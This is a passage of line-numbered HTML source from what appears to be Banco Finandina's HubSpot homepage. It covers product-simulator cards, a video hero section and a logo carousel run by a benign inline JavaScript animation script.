18l6-6z" /></svg> 4611 </button> 4612 </div> 4613 4614 </div> 4615</div> 4616</div> 4617 4618</div> 4619 4620</div><!--end widget-span --> 4621</div><!--end row--> 4622</div><!--end row-wrapper --> 4623 4624</div><!--end widget-span --> 4625</div><!--end row--> 4626</div><!--end row-wrapper --> 4627 4628<div class="row-fluid-wrapper row-depth-1 row-number-17 dnd-section"> 4629<div class="row-fluid "> 4630<div class="span12 widget-span widget-type-custom_widget dnd-module" style="" data-widget-type="custom_widget" data-x="0" data-w="12"> 4631<div id="hs_cos_wrapper_dnd_area-dnd_partial-3-module-1" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module"><section class="container tarjetas" aria-label="Simuladores de productos"> 4632 <h2 class="title"> 4633 <small>Simula y elige</small> 4634 <br> 4635 tu mejor opción 4636 </h2> 4637 <div class="cards" id="cards"> 4638 4639 <a class="card" href="https://www.bancofinandina.com/productos/credito-vehiculo/simulador-de-credito-vehiculo?Origen=BSimuladorHomeVehiculo" aria-label="¡Calcula tu crédito de vehÃculo! Simulador de crédito de vehÃculo"> 4640 <div class="card__eyebrow">¡Calcula tu crédito de vehÃculo!</div> 4641 <div class="card__cta" aria-hidden="true"> 4642 <svg width="20" height="20" viewbox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"> 4643 <rect x="0.5" y="0.5" width="19" height="19" rx="9.5" fill="rgba(120,53,195,0.08)" stroke="rgba(120,53,195,0.25)" /> 4644 <path d="M6 10H14M10.5 6.5L14 10L10.5 13.5" stroke="#7835C3" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" /> 4645 </svg> 4646 </div> 4647 <div class="card__title"> 4648 <small>Simulador de</small> 4649 <strong>crédito de vehÃculo</strong> 4650 </div> 4651 <!-- Optimización LCP: Eager para la primera, lazy para el resto. Decoding asÃncrono para no bloquear el hilo principal --> 4652 <img class="card__img" src="https://www.bancofinandina.com/hubfs/Im%C3%A1genes%20home/Cr%C3%A9dito%20veh%C3%ADculo.svg" alt="" width="300" height="300" loading="eager" fetchpriority="high" decoding="sync"> 4653 </a> 4654 4655 <a class="card" href="https://www.bancofinandina.com/productos/creditos/libranza/simulador-credito-libranza?origen_fe=BSimuladorHomeLibranza" aria-label="Tu tranquilidad, asegurada Simulador de crédito de libranza"> 4656 <div class="card__eyebrow">Tu tranquilidad, asegurada</div> 4657 <div class="card__cta" aria-hidden="true"> 4658 <svg width="20" height="20" viewbox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"> 4659 <rect x="0.5" y="0.5" width="19" height="19" rx="9.5" fill="rgba(120,53,195,0.08)" stroke="rgba(120,53,195,0.25)" /> 4660 <path d="M6 10H14M10.5 6.5L14 10L10.5 13.5" stroke="#7835C3" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" /> 4661 </svg> 4662 </div> 4663 <div class="card__title"> 4664 <small>Simulador de</small> 4665 <strong>crédito de libranza</strong> 4666 </div> 4667 <!-- Optimización LCP: Eager para la primera, lazy para el resto. Decoding asÃncrono para no bloquear el hilo principal --> 4668 <img class="card__img" src="https://www.bancofinandina.com/hubfs/Im%C3%A1genes%20home/Cr%C3%A9dito%20libranza.svg" alt="" width="350" height="350" loading="lazy" decoding="async"> 4669 </a> 4670 4671 <a class="card" href="https://www.bancofinandina.com/productos/cuentas-de-ahorro/simulador-cuenta-de-ahorro" aria-label="¡Empieza tu ahorro! Descubre cuánto puedes ahorrar ahora."> 4672 <div class="card__eyebrow">¡Empieza tu ahorro!</div> 4673 <div class="card__cta" aria-hidden="true"> 4674 <svg width="20" height="20" viewbox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"> 4675 <rect x="0.5" y="0.5" width="19" height="19" rx="9.5" fill="rgba(120,53,195,0.08)" stroke="rgba(120,53,195,0.25)" /> 4676 <path d="M6 10H14M10.5 6.5L14 10L10.5 13.5" stroke="#7835C3" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" /> 4677 </svg> 4678 </div> 4679 <div class="card__title"> 4680 <small>Descubre cuánto</small> 4681 <strong>puedes ahorrar ahora.</strong> 4682 </div> 4683 <!-- Optimización LCP: Eager para la primera, lazy para el resto. Decoding asÃncrono para no bloquear el hilo principal --> 4684 <img class="card__img" src="https://www.bancofinandina.com/hubfs/Im%C3%A1genes%20home/Billetera%20(2).svg" alt="" width="250" height="250" loading="lazy" decoding="async"> 4685 </a> 4686 4687 <a class="card" href="https://www.bancofinandina.com/productos/tarjetas-credito/simulador-tarjeta-de-credito" aria-label="Calcula y ahorra más. Simulador de Tarjeta de crédito"> 4688 <div class="card__eyebrow">Calcula y ahorra más.</div> 4689 <div class="card__cta" aria-hidden="true"> 4690 <svg width="20" height="20" viewbox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"> 4691 <rect x="0.5" y="0.5" width="19" height="19" rx="9.5" fill="rgba(120,53,195,0.08)" stroke="rgba(120,53,195,0.25)" /> 4692 <path d="M6 10H14M10.5 6.5L14 10L10.5 13.5" stroke="#7835C3" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" /> 4693 </svg> 4694 </div> 4695 <div class="card__title"> 4696 <small>Simulador de</small> 4697 <strong>Tarjeta de crédito</strong> 4698 </div> 4699 <!-- Optimización LCP: Eager para la primera, lazy para el resto. Decoding asÃncrono para no bloquear el hilo principal --> 4700 <img class="card__img" src="https://www.bancofinandina.com/hubfs/Im%C3%A1genes%20home/Tarjeta.svg" alt="" width="280" height="280" loading="lazy" decoding="async"> 4701 </a> 4702 4703 <a class="card" href="https://www.bancofinandina.com/productos/cdts/simulador-cdt?Origen=BSimuladorHomeCDT" aria-label="¡Calcula tu inversión! Simulador de CDT"> 4704 <div class="card__eyebrow">¡Calcula tu inversión!</div> 4705 <div class="card__cta" aria-hidden="true"> 4706 <svg width="20" height="20" viewbox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"> 4707 <rect x="0.5" y="0.5" width="19" height="19" rx="9.5" fill="rgba(120,53,195,0.08)" stroke="rgba(120,53,195,0.25)" /> 4708 <path d="M6 10H14M10.5 6.5L14 10L10.5 13.5" stroke="#7835C3" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" /> 4709 </svg> 4710 </div> 4711 <div class="card__title"> 4712 <small>Simulador de</small> 4713 <strong>CDT</strong> 4714 </div> 4715 <!-- Optimización LCP: Eager para la primera, lazy para el resto. Decoding asÃncrono para no bloquear el hilo principal --> 4716 <img class="card__img" src="https://www.bancofinandina.com/hubfs/Im%C3%A1genes%20home/CDT.svg" alt="" width="320" height="320" loading="lazy" decoding="async"> 4717 </a> 4718 4719 <a class="card" href="https://www.bancofinandina.com/productos/creditos/simulador-de-credito?Origen=BSimuladorHomeCredito" aria-label="¡Calcula tu cuota perfecta! Simulador de crédito libre inversión"> 4720 <div class="card__eyebrow">¡Calcula tu cuota perfecta!</div> 4721 <div class="card__cta" aria-hidden="true"> 4722 <svg width="20" height="20" viewbox="0 0 20 20" fill="none" xmlns="http://www.w3.org/2000/svg"> 4723 <rect x="0.5" y="0.5" width="19" height="19" rx="9.5" fill="rgba(120,53,195,0.08)" stroke="rgba(120,53,195,0.25)" /> 4724 <path d="M6 10H14M10.5 6.5L14 10L10.5 13.5" stroke="#7835C3" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round" /> 4725 </svg> 4726 </div> 4727 <div class="card__title"> 4728 <small>Simulador de</small> 4729 <strong>crédito libre inversión</strong> 4730 </div> 4731 <!-- Optimización LCP: Eager para la primera, lazy para el resto. Decoding asÃncrono para no bloquear el hilo principal --> 4732 <img class="card__img" src="https://www.bancofinandina.com/hubfs/Cr%C3%A9dito.svg" alt="" width="260" height="260" loading="lazy" decoding="async"> 4733 </a> 4734 4735 </div> 4736 </section> 4737 4738 </div> 4739 4740</div><!--end widget-span --> 4741</div><!--end row--> 4742</div><!--end row-wrapper --> 4743 4744<div class="row-fluid-wrapper row-depth-1 row-number-18 dnd-section"> 4745<div class="row-fluid "> 4746<div class="span12 widget-span widget-type-cell dnd-column" style="" data-widget-type="cell" data-x="0" data-w="12"> 4747 4748<div class="row-fluid-wrapper row-depth-1 row-number-19 dnd-row"> 4749<div class="row-fluid "> 4750<div class="span12 widget-span widget-type-custom_widget dnd-module" style="" data-widget-type="custom_widget" data-x="0" data-w="12"> 4751<div id="hs_cos_wrapper_module_17889763360194" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module widget-type-space" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module"><span class="hs-horizontal-spacer"></span></div> 4752 4753</div><!--end widget-span --> 4754</div><!--end row--> 4755</div><!--end row-wrapper --> 4756 4757</div><!--end widget-span --> 4758</div><!--end row--> 4759</div><!--end row-wrapper --> 4760 4761<div class="row-fluid-wrapper row-depth-1 row-number-20 dnd-section"> 4762<div class="row-fluid "> 4763<div class="span12 widget-span widget-type-custom_widget dnd-module" style="" data-widget-type="custom_widget" data-x="0" data-w="12"> 4764<div id="hs_cos_wrapper_dnd_area-dnd_partial-4-module-1" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module">
4764<section class="section-video-fondo"> 4765 <div class="hero-bg" aria-hidden="true"> 4766 <video class="hero-video" autoplay muted loop playsinline preload="none"> 4767 <source data-src="https://46676057.fs1.hubspotusercontent-na1.net/hubfs/46676057/video-home-finandina-web-1.mp4" type="video/mp4"> 4768 Tu navegador no soporta video HTML5. 4769 </video> 4770 <div class="hero-scrim"></div> 4771 </div> 4772 4773 <main id="main" class="hero"> 4774 <div class="hero-inner"> 4775 <h2 class="hero-title"> 4776 Banco Finandina:<br> 4777 <span class="hero-sub">Banca libre, digital y sostenible</span> 4778 </h2> 4779 4780 <a class="cta" href="https://www.bancofinandina.com/banco-digital-bic/sostenible-y-socialmente-responsable" aria-label="Conocer más sobre Banco Finandina">Conocer más</a> 4781 </div> 4782 </main> 4783</section> 4784 4785</div> 4786 4787</div><!--end widget-span --> 4788</div><!--end row--> 4789</div><!--end row-wrapper --> 4790 4791<div class="row-fluid-wrapper row-depth-1 row-number-21 dnd-section"> 4792<div class="row-fluid "> 4793<div class="span12 widget-span widget-type-cell dnd-column" style="" data-widget-type="cell" data-x="0" data-w="12"> 4794 4795<div class="row-fluid-wrapper row-depth-1 row-number-22 dnd-row"> 4796<div class="row-fluid "> 4797<div class="span12 widget-span widget-type-custom_widget dnd-module" style="" data-widget-type="custom_widget" data-x="0" data-w="12"> 4798<div id="hs_cos_wrapper_dnd_area-module-5" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module"><div class="section-carousel-logo" id="carousel-" data-hs-carousel data-speed="60" data-hover-pause="true"> 4799 <div class="carousel" data-viewport> 4800 <div class="carousel-track" data-track> 4801 4802 4803 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Clip%20path%20group.png?width=56&height=91&name=Clip%20path%20group.png" alt="Clip path group" width="56" height="91" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Clip%20path%20group.png?width=28&height=46&name=Clip%20path%20group.png 28w, https://www.bancofinandina.com/hs-fs/hubfs/Clip%20path%20group.png?width=56&height=91&name=Clip%20path%20group.png 56w, https://www.bancofinandina.com/hs-fs/hubfs/Clip%20path%20group.png?width=84&height=137&name=Clip%20path%20group.png 84w, https://www.bancofinandina.com/hs-fs/hubfs/Clip%20path%20group.png?width=112&height=182&name=Clip%20path%20group.png 112w, https://www.bancofinandina.com/hs-fs/hubfs/Clip%20path%20group.png?width=140&height=228&name=Clip%20path%20group.png 140w, https://www.bancofinandina.com/hs-fs/hubfs/Clip%20path%20group.png?width=168&height=273&name=Clip%20path%20group.png 168w" sizes="(max-width: 56px) 100v
4803w, 56px"> 4804 4805 4806 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Climate%20Neutral%20Now.png?width=87&height=83&name=Climate%20Neutral%20Now.png" alt="Climate Neutral Now" width="87" height="83" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Climate%20Neutral%20Now.png?width=44&height=42&name=Climate%20Neutral%20Now.png 44w, https://www.bancofinandina.com/hs-fs/hubfs/Climate%20Neutral%20Now.png?width=87&height=83&name=Climate%20Neutral%20Now.png 87w, https://www.bancofinandina.com/hs-fs/hubfs/Climate%20Neutral%20Now.png?width=131&height=125&name=Climate%20Neutral%20Now.png 131w, https://www.bancofinandina.com/hs-fs/hubfs/Climate%20Neutral%20Now.png?width=174&height=166&name=Climate%20Neutral%20Now.png 174w, https://www.bancofinandina.com/hs-fs/hubfs/Climate%20Neutral%20Now.png?width=218&height=208&name=Climate%20Neutral%20Now.png 218w, https://www.bancofinandina.com/hs-fs/hubfs/Climate%20Neutral%20Now.png?width=261&height=249&name=Climate%20Neutral%20Now.png 261w" sizes="(max-width: 87px) 100vw, 87px"> 4807 4808 4809 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Group.png?width=179&height=76&name=Group.png" alt="Group" width="179" height="76" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Group.png?width=90&height=38&name=Group.png 90w, https://www.bancofinandina.com/hs-fs/hubfs/Group.png?width=179&height=76&name=Group.png 179w, https://www.bancofinandina.com/hs-fs/hubfs/Group.png?width=269&height=114&name=Group.png 269w, https://www.bancofinandina.com/hs-fs/hubfs/Group.png?width=358&height=152&name=Group.png 358w, https://www.bancofinandina.com/hs-fs/hubfs/Group.png?width=448&height=190&name=Group.png 448w, https://www.bancofinandina.com/hs-fs/hubfs/Group.png?width=537&height=228&name=Group.png 537w" sizes="(max-width: 179px) 100vw, 179px"> 4810 4811 4812 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC.png?width=146&height=63&name=Sociedad%20BIC.png" alt="Sociedad BIC" width="146" height="63" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC.png?width=73&height=32&name=Sociedad%20BIC.png 73w, https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC.png?width=146&height=63&name=Sociedad%20BIC.png 146w, https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC.png?width=219&height=95&name=Sociedad%20BIC.png 219w, https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC.png?width=292&height=126&name=Sociedad%20BIC.png 292w, https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC.png?width=365&height=158&name=Sociedad%20BIC.png 365w, https://www.bancofinandina.com/hs-fs/hubfs/Sociedad%20BIC.png?width=438&height=189&name=Sociedad%20BIC.png 438w" sizes="(max-width: 146px) 100vw, 146px"> 4813 4814 4815 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Pacto%20Global%20ONU.png?width=90&height=92&name=Pacto%20Global%20ONU.png" alt="Pacto Global ONU" width="90" height="92" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Pacto%20Global%20ONU.png?width=45&height=46&name=Pacto%20Global%20ONU.png 45w, https://www.bancofinandina.com/hs-fs/hubfs/Pacto%20Global%20ONU.png?width=90&height=92&name=Pacto%20Global%20ONU.png 90w, https://www.bancofinandina.com/hs-fs/hubfs/Pacto%20Global%20ONU.png?width=135&height=138&name=Pacto%20Global%20ONU.png 135w, https://www.bancofinandina.com/hs-fs/hubfs/Pacto%20Global%20ONU.png?width=180&height=184&name=Pacto%20Global%20ONU.png 180w, https://www.bancofinandina.com/hs-fs/hubfs/Pacto%20Global%20ONU.png?width=225&height=230&name=Pacto%20Global%20ONU.png 225w, https://www.bancofinandina.com/hs-fs/hubfs/Pacto%20Global%20ONU.png?width=270&height=276&name=Pacto%20Global%20ONU.png 270w" sizes="(max-width: 90px) 100vw, 90px"> 4816 4817 4818 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Informe%20GRI.png?width=91&height=91&name=Informe%20GRI.png" alt="Informe GRI" width="91" height="91" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Informe%20GRI.png?width=46&height=46&name=Informe%20GRI.png 46w, https://www.bancofinandina.com/hs-fs/hubfs/Informe%20GRI.png?width=91&height=91&name=Informe%20GRI.png 91w, https://www.bancofinandina.com/hs-fs/hubfs/Informe%20GRI.png?width=137&height=137&name=Informe%20GRI.png 137w, https://www.bancofinandina.com/hs-fs/hubfs/Informe%20GRI.png?width=182&height=182&name=Informe%20GRI.png 182w, https://www.bancofinandina.com/hs-fs/hubfs/Informe%20GRI.png?width=228&height=228&name=Informe%20GRI.png 228w, https://www.bancofinandina.com/hs-fs/hubfs/Informe%20GRI.png?width=273&height=273&
4818name=Informe%20GRI.png 273w" sizes="(max-width: 91px) 100vw, 91px"> 4819 4820 4821 <img src="https://www.bancofinandina.com/hs-fs/hubfs/Group%2034227.png?width=76&height=94&name=Group%2034227.png" alt="Group 34227" width="76" height="94" srcset="https://www.bancofinandina.com/hs-fs/hubfs/Group%2034227.png?width=38&height=47&name=Group%2034227.png 38w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034227.png?width=76&height=94&name=Group%2034227.png 76w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034227.png?width=114&height=141&name=Group%2034227.png 114w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034227.png?width=152&height=188&name=Group%2034227.png 152w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034227.png?width=190&height=235&name=Group%2034227.png 190w, https://www.bancofinandina.com/hs-fs/hubfs/Group%2034227.png?width=228&height=282&name=Group%2034227.png 228w" sizes="(max-width: 76px) 100vw, 76px"> 4822 4823 </div> 4824 </div> 4825</div> 4826 4827 4828
4829<script> 4830(() => { 4831 const root = document.getElementById('carousel-'); 4832 if (!root) return; 4833 4834 const track = root.querySelector('[data-track]'); 4835 const carousel = root.querySelector('[data-viewport]'); 4836 4837 // Config 4838 let SPEED = parseFloat(root.dataset.speed) || 80; 4839 const HOVER_PAUSE = (root.dataset.hoverPause ?? 'true').toString().toLowerCase() !== 'false'; 4840 const prefersReduced = window.matchMedia && window.matchMedia('(prefers-reduced-motion: reduce)').matches; 4841 if (prefersReduced) SPEED = 0; 4842 4843 // Conjunto original (renderizado por HubSpot) 4844 const initialChildren = Array.from(track.children); // nodos reales 4845 const originalNodes = initialChildren.map(n => n.cloneNode(true)); // plantilla para clonar 4846 4847 // Guardas duras: sin logos => no inicializar (no congelar) 4848 if (originalNodes.length === 0) { 4849 console.warn('[carousel] No hay logos en el módulo; se omite inicialización.'); 4850 return; 4851 } 4852 4853 // Promise que âasientaâ el primer set: usa decode() si existe 4854 const settleImages = () => Promise.all( 4855 initialChildren.map(img => { 4856 if (!(img instanceof HTMLImageElement)) return Promise.resolve(); 4857 if (img.complete) return img.decode?.().catch(() => {}) ?? Promise.resolve(); 4858 return new Promise(res => { 4859 img.addEventListener('load', () => res(), { once: true }); 4860 img.addEventListener('error', () => res(), { once: true }); 4861 }); 4862 }) 4863 ); 4864 4865 // Medir ancho del primer set actualmente en el DOM (primer N hijos) 4866 const measureFirstSetWidth = (N) => { 4867 const styles = getComputedStyle(track); 4868 const gap = parseFloat(styles.columnGap || styles.gap || 0) || 0; 4869 const children = Array.from(track.children); 4870 let w = 0; 4871 for (let i = 0; i < N && i < children.length; i++) { 4872 w += children[i].getBoundingClientRect().width; 4873 if (i < N - 1) w += gap; 4874 } 4875 return Math.round(w); 4876 }; 4877 4878 // Reconstruye la âcintaâ con longitud suficiente (sin while infinito) 4879 const MAX_EXTRA_SETS = 20; // tope duro para evitar runaway DOM 4880 function ensureTapeLength() { 4881 const viewport = carousel.clientWidth; 4882 if (!viewport) { 4883 // Si el contenedor es 0px (oculto/colapsado), no intentes nada. 4884 // ResizeObserver/resize reintentará cuando cambie. 4885 return; 4886 } 4887 4888 track.replaceChildren(); 4889 4890 // 1) Inserta de nuevo el set original (nodos reales ya cargados) 4891 const frag = document.createDocumentFragment(); 4892 initialChildren.forEach(n => frag.appendChild(n)); 4893 track.appendChild(frag); 4894 4895 // 2) Mide ancho base del set real 4896 const baseSetWidth = Math.max(1, measureFirstSetWidth(initialChildren.length)); 4897 4898 // 3) Añade un set más mÃnimo para continuidad 4899 originalNodes.forEach(n => track.appendChild(n.cloneNode(true))); 4900 4901 // 4) Calcula de forma acotada cuántos sets extra se requieren 4902 const target = viewport * 2 + 1; // ⥠2à viewport 4903 const missing = Math.max(0, target - track.scrollWidth); 4904 const extra = Math.min(MAX_EXTRA_SETS, Math.ceil(missing / baseSetWidth)); 4905 for (let s = 0; s < extra; s++) { 4906 originalNodes.forEach(n => track.appendChild(n.cloneNode(true))); 4907 } 4908 } 4909 4910 // Estado de animación 4911 let loopWidth = 0; // ancho de un set base 4912 let posX = 0; 4913 let lastTs = 0; 4914 let paused = false; 4915 let dragging = false; 4916 let rafId = null; 4917 4918 const computeLoopWidth = () => { 4919 // Ancho de un bloque base = suma de los primeros N (= set original) 4920 const w = measureFirstSetWidth(originalNodes.length); 4921 loopWidth = Math.max(1, w || carousel.clientWidth || 1); 4922 }; 4923 4924 const wrap = (x) => { 4925 if (loopWidth <= 0) return x; 4926 x = ((x % loopWidth) + loopWidth) % loopWidth; // [0, loopWidth) 4927 return x - loopWidth; // [-loopWidth, 0) 4928 }; 4929 4930 function tick(ts) { 4931 if (!lastTs) lastTs = ts; 4932 const dt = Math.min(0.05, (ts - lastTs) / 1000); // cap 50ms para estabilidad 4933 lastTs = ts; 4934 4935 if (!paused && !dragging && SPEED) posX -= SPEED * dt; 4936 posX = wrap(posX); 4937 track.style.transform = `translate3d(${posX}px,0,0)`; 4938 4939 rafId = requestAnimationFrame(tick); 4940 } 4941 4942 function start() { 4943 if (rafId == null) rafId = requestAnimationFrame(tick); 4944 } 4945 function stop() { 4946 if (rafId != null) { 4947 cancelAnimationFrame(rafId); 4948 rafId = null; 4949 } 4950 } 4951 4952 // Drag con Pointer Events (fallback a touch/mouse si no hay soporte) 4953 let startX = 0; 4954 let startPosX = 0; 4955 4956 const onPointerDown = (e) => { 4957 dragging = true; 4958 carousel.style.cursor = 'grabbing'; 4959 startX = (e.clientX ?? e.touches?.[0]?.clientX ?? 0); 4960 startPosX = posX; 4961 if ('setPointerCapture' in carousel && e.pointerId != null) { 4962 carousel.setPointerCapture(e.pointerId); 4963 } 4964 e.preventDefault(); 4965 }; 4966 const onPointerMove = (e) => { 4967 if (!dragging) return; 4968 const x = (e.clientX ?? e.touches?.[0]?.clientX ?? 0); 4969 posX = wrap(startPosX + (x - startX)); 4970 }; 4971 const onPointerUp = (e) => { 4972 dragging = false;
4973 carousel.style.cursor = 'grab'; 4974 if ('releasePointerCapture' in carousel && e.pointerId != null) { 4975 carousel.releasePointerCapture(e.pointerId); 4976 } 4977 }; 4978 4979 const bindInputEvents = () => { 4980 const supportsPointer = 'PointerEvent' in window; 4981 if (supportsPointer) { 4982 carousel.addEventListener('pointerdown', onPointerDown, { passive: false }); 4983 carousel.addEventListener('pointermove', onPointerMove, { passive: false }); 4984 carousel.addEventListener('pointerup', onPointerUp); 4985 carousel.addEventListener('pointercancel', onPointerUp); 4986 } else { 4987 // Fallback para navegadores antiguos 4988 carousel.addEventListener('touchstart', onPointerDown, { passive: false }); 4989 carousel.addEventListener('touchmove', onPointerMove, { passive: false }); 4990 carousel.addEventListener('touchend', onPointerUp); 4991 carousel.addEventListener('mousedown', onPointerDown); 4992 window.addEventListener('mousemove', onPointerMove); 4993 window.addEventListener('mouseup', onPointerUp); 4994 } 4995 }; 4996 4997 // Rebuild (throttle) ante cambios de tamaño 4998 let rebuildRaf = null; 4999 const scheduleRebuild = () => { 5000 if (rebuildRaf) return; 5001 rebuildRaf = requestAnimationFrame(() => { 5002 const progress = loopWidth ? (-posX / loopWidth) : 0; // guarda progreso 5003 ensureTapeLength(); 5004 computeLoopWidth(); 5005 posX = wrap(-progress * loopWidth); 5006 rebuildRaf = null; 5007 }); 5008 }; 5009 5010 const ro = typeof ResizeObserver !== 'undefined' 5011 ? new ResizeObserver(scheduleRebuild) 5012 : null; 5013 5014 document.addEventListener('visibilitychange', () => { 5015 if (document.hidden) stop(); else start(); 5016 }); 5017 5018 (async function init() { 5019 await settleImages(); // Asegura medidas del primer set 5020 ensureTapeLength(); // Construye cinta sin while infinito 5021 computeLoopWidth(); 5022 5023 if (HOVER_PAUSE) { 5024 carousel.addEventListener('mouseenter', () => { paused = true; }); 5025 carousel.addEventListener('mouseleave', () => { paused = false; }); 5026 } 5027 5028 bindInputEvents(); 5029 if (ro) ro.observe(carousel); else window.addEventListener('resize', scheduleRebuild); 5030 5031 start(); 5032 })(); 5033})(); 5034</script>
5034</div> 5035 5036</div><!--end widget-span --> 5037</div><!--end row--> 5038</div><!--end row-wrapper --> 5039 5040</div><!--end widget-span --> 5041</div><!--end row--> 5042</div><!--end row-wrapper --> 5043 5044<div class="row-fluid-wrapper row-depth-1 row-number-23 dnd-section"> 5045<div class="row-fluid "> 5046<div class="span12 widget-span widget-type-cell dnd-column" style="" data-widget-type="cell" data-x="0" data-w="12"> 5047 5048<div class="row-fluid-wrapper row-depth-1 row-number-24 dnd-row"> 5049<div class="row-fluid "> 5050<div class="span12 widget-span widget-type-custom_widget dnd-module" style="" data-widget-type="custom_widget" data-x="0" data-w="12"> 5051<div id="hs_cos_wrapper_dnd_area-dnd_partial-6-module-2" class="hs_cos_wrapper hs_cos_wrapper_widget hs_cos_wrapper_type_module" style="" data-hs-cos-general-type="widget" data-hs-cos-type="module"><section class="h-bank-card " aria-labelledby="h-bank-title-"> 5052 <div class="h-bank-card__inner"> 5053 <div class="h-bank-card__media" role="img" aria-hidden="true"> 5054 <div class="animation-scene"> <div class="layer-bg"> <svg viewbox="0 0 522 362" fill="none" preserveaspectratio="xMidYMid slice" style="width:100%; height:100%;"> <g clip-path="url(#clip0_new_bg)"> <path d="M0 24C0 10.7452 10.7452 0 24 0H522V362H24C10.7452 362 0 351.255 0 338V24Z" fill="url(#paint0_linear_new)" /> <g filter="url(#filter0_f_new)"> <circle cx="230" cy="181" r="78" fill="url(#paint1_radial_new)" /> </g> <g filter="url(#filter1_f_new)"> <ellipse cx="251" cy="142.5" rx="26" ry="26.5" fill="url(#paint2_radial_new)" fill-opacity="0.91" /> </g> <path opacity="0.91" d="M540.24 336.26C529.27 312.9 510.27 293.4 487.2 281.83C477.84 277.14 467.89 273.73 457.98 270.35C449.36 267.4 440.74 264.46 432.12 261.51C424.59 258.94 415.51 256.59 409.29 261.57C404.77 265.19 403.35 271.67 398.88 275.35C392.4 280.68 382.31 277.86 375.91 272.45C369.5 267.04 365.14 259.53 358.78 254.07C350.08 246.6 338.54 243.62 328.01 239.08C308.16 230.53 291.32 216.01 277.54 199.36C269.82 190.03 262.34 179.49 251.03 175.16C238.9 170.52 225.29 174.15 213.08 178.6C205.75 181.27 198.34 184.35 192.64 189.68C187.93 194.09 184.63 199.82 179.93 204.24C161.98 221.08 127.4 216.02 116.22 237.95C114.71 240.91 113.78 244.19 111.76 246.82C109.57 249.67 106.33 251.46 103.4 253.54C97.8796 257.45 93.2896 262.51 88.9396 267.68C74.6596 284.69 62.4996 303.39 51.4496 322.66L48.3496 336.24H540.23L540.24 336.26Z" fill="url(#paint3_linear_new)" /> <g filter="url(#filter2_f_new)"> <rect y="336" width="522" height="26" fill="#60C388" /> </g> </g> <defs> <filter id="filter0_f_new" x="139" y="90" width="182" height="182" filterunits="userSpaceOnUse" color-interpolation-filters="sRGB"> <feflood flood-opacity="0" result="BackgroundImageFix" /> <feblend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape" /> <fegaussianblur stdDeviation="6.5" result="effect1_foregroundBlur" /> </filter> <filter id="filter1_f_new" x="194" y="85" width="114" height="115" filterunits="userSpaceOnUse" color-interpolation-filters="sRGB"> <feflood flood-opacity="0" result="BackgroundImageFix" /> <feblend mode="normal" in="SourceGraphic" in2="BackgroundImageFix" result="shape" /> <fegaussianblur stdDeviation="15.5" result="effect1_foregroundBlur" /> </filter> <filter id="filter2_f_new" x="-5" y="331" width="532" height="36" filterunits="userSpaceOnUse" color-interpolation-filters="sRGB"> <feflood flood-opacity="0" result="BackgroundImageFix" /> <feblend mode="normal" in="SourceGraphic" in2="Backgroun
5054dImageFix" result="shape" /> <fegaussianblur stdDeviation="2.5" result="effect1_foregroundBlur" /> </filter> <lineargradient id="paint0_linear_new" x1="261" y1="0" x2="261" y2="776" gradientunits="userSpaceOnUse"> <stop stop-color="#BB9AE1" /> <stop offset="1" stop-color="#60C388" /> </lineargradient> <radialgradient id="paint1_radial_new" cx="0" cy="0" r="1" gradientunits="userSpaceOnUse" gradienttransform="translate(230 181) rotate(72.4884) scale(214.291)"> <stop stop-color="#E4D7F3" /> <stop offset="1" stop-color="#9747FF" /> </radialgradient> <radialgradient id="paint2_radial_new" cx="0" cy="0" r="1" gradienttransform="matrix(10.5763 33.6864 -33.0508 10.7797 251 142.5)" gradientunits="userSpaceOnUse"> <stop stop-color="#60C388" /> <stop offset="1" stop-color="#E4D7F3" /> </radialgradient> <lineargradient id="paint3_linear_new" x1="250.5" y1="153.01" x2="241.5" y2="336.01" gradientunits="userSpaceOnUse"> <stop offset="0.219896" stop-color="#522A7F" /> <stop offset="1" stop-color="#60C388" /> </lineargradient> <clippath id="clip0_new_bg"> <path d="M0 24C0 10.7452 10.7452 0 24 0H522V362H24C10.7452 362 0 351.255 0 338V24Z" fill="white" /> </clippath> </defs> </svg> </div> <img src="https://www.bancofinandina.com/hubfs/Animaciones/Animacion-2/carro.svg" class="img-
